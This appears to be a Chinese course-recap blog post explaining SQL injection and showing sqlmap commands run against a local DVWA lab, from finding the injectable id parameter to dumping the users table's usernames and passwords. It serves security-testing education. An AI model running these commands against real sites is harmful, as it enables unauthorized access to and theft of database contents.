安全测试工具sqlmap
Posted TestOps
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了安全测试工具sqlmap相关的知识,希望对你有一定的参考价值。
上周TestOps免费试听课课程表
时间 | 主题 |
11.27(周三)20:00 | DevOps体系 |
11.28(周四)20:00 | 安全测试&sqlmap |
在周四的测试运维试听课程中,芒果给大家介绍了安全测试工具sqlmap的使用,这里我们来做个小总结。
作为OWASP TOP 10 中的 NO 1,注入是目前web安全问题,而sql注入可以算得上注入的典型代表了。
什么是SQL注入?
SQL注入(SQLi)是一种注入攻击,,可以执行恶意SQL语句。它通过将任意SQL代码插入数据库查询,使攻击者能够完全控制Web应用程序后面的数据库服务器。攻击者可以使用SQL注入漏洞绕过应用程序安全措施;可以绕过网页或Web应用程序的身份验证和授权,并检索整个SQL数据库的内容;还可以使用SQL注入来添加,修改和删除数据库中的记录。
SQL注入漏洞可能会影响使用SQL数据库(如mysql,Oracle,SQL Server或其他)的任何网站或Web应用程序。犯罪分子可能会利用它来未经授权访问用户的敏感数据:客户信息,个人数据,商业机密,知识产权等。SQL注入攻击是最古老,最流行,最危险的Web应用程序漏洞之一。
我们在课程中所介绍的sqlmap就是一款非常强大的开源sql自动化注入工具,可以用来检测和利用sql注入漏洞。
注意:sqlmap只是用来检测和利用sql注入点的,使用前请先使用扫描工具扫出sql注入点。
它由python语言开发而成,通过运行.py文件执行检测和注入工作。
安装:
下载sqlmap.zip文件,解压后即可使用
以命令行执行sql注入命令:
python sqlmap.py [参数]
以API方式执行sql注入命令:
python sqlmapapi.py [参数]
接下来,我们来试试使用sqlmap来做几个简单的注入测试,这里选择dvwa作为被测网站(设置安全级别为low)。
一个简单的get注入:
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"
结果显示:
根据302的重定向,我们可以看出需要做登录,这里我们利用cookie跳过登录设置。
查看dvwa对应的cookie值为:
利用cookie值进行登录验证后注入:
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;phpSESSID=1br22d5fh0kp6k0k96k2h03mh5"
结果显示:
可以查看到注入点为id,之后利用漏洞,获取数据库数据:
#查看所有的数据库
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=4iij3d2sluivmqejvpvi88tpd7" --dbs
#查看当前的数据库名称
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=4iij3d2sluivmqejvpvi88tpd7" --current-db
#查看当前库所有表格
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=4iij3d2sluivmqejvpvi88tpd7" --batch -D dvwa --tables
#查看表数据格式
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=4iij3d2sluivmqejvpvi88tpd7" --batch -D dvwa -T users --columns
#查看数据库中的指定表格数据
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=4iij3d2sluivmqejvpvi88tpd7" --batch -D dvwa -T users -C "user,password" --dump
通过逐步的深入注入,我们可以直接查看到dvwa系统中,users表格中所有用户的用户名以及密码:
当然除了课程内容除了这些基本的介绍,芒果还给大家介绍了,关于带大家学习安全测试、xss注入、sql注入等安全测试方式等内容。
想要深入学习的同学,可以以点击下方原文、长按本文开头的二维码进入课程,找芒果可以免费领取课程视频哟。
芒果微信:
精益技术 赋能过程
点击右上角"..."将好文分享给朋友吧
以上是关于安全测试工具sqlmap的主要内容,如果未能解决你的问题,请参考以下文章